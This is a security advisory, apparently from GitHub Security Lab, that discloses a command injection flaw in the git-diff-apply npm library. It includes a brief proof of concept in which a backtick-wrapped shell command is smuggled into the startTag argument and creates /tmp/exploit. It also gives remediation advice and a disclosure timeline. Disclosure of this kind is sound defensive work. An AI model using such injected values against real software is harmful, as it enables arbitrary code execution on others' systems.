June 24, 2020

GHSL-2020-122: Command injection in git-diff-apply

Kevin Backhouse

Summary

The diff function has a command injection vulnerability. Clients of the git-diff-apply library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

git-diff-apply

Tested Version

Commit cacb51f

Details: Command injection in diff

The following proof-of-concept illustrates the vulnerability. First, install git-diff-apply and create a simple git repo:

npm install git-diff-apply
git init
printf "node_modules/\\npoc.js\\ntest.js\\npackage-lock.json" > .gitignore
git add -A
git commit -am "initial commit"
git status # Check that git status is clean

Now create a file with the following contents:

var diff = require("git-diff-apply");

diff({"remoteUrl": "https://github.com/kellyselden/git-diff-apply.git", "startTag": "none`touch /tmp/exploit`", "endTag": "bla", "cwd": "."})

and run it:

node test.js

Notice that a file named /tmp/exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.

We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the git-diff-apply project here.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Coordinated disclosure timeline

2020-05-19: Emailed report to kellyselden@gmail.com 2020-05-19: acknowledged by kellyselden@gmail.com 2020-05-20: fixed in v0.22.9 kellyselden/git-diff-apply#370

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-122 in any communication regarding this issue.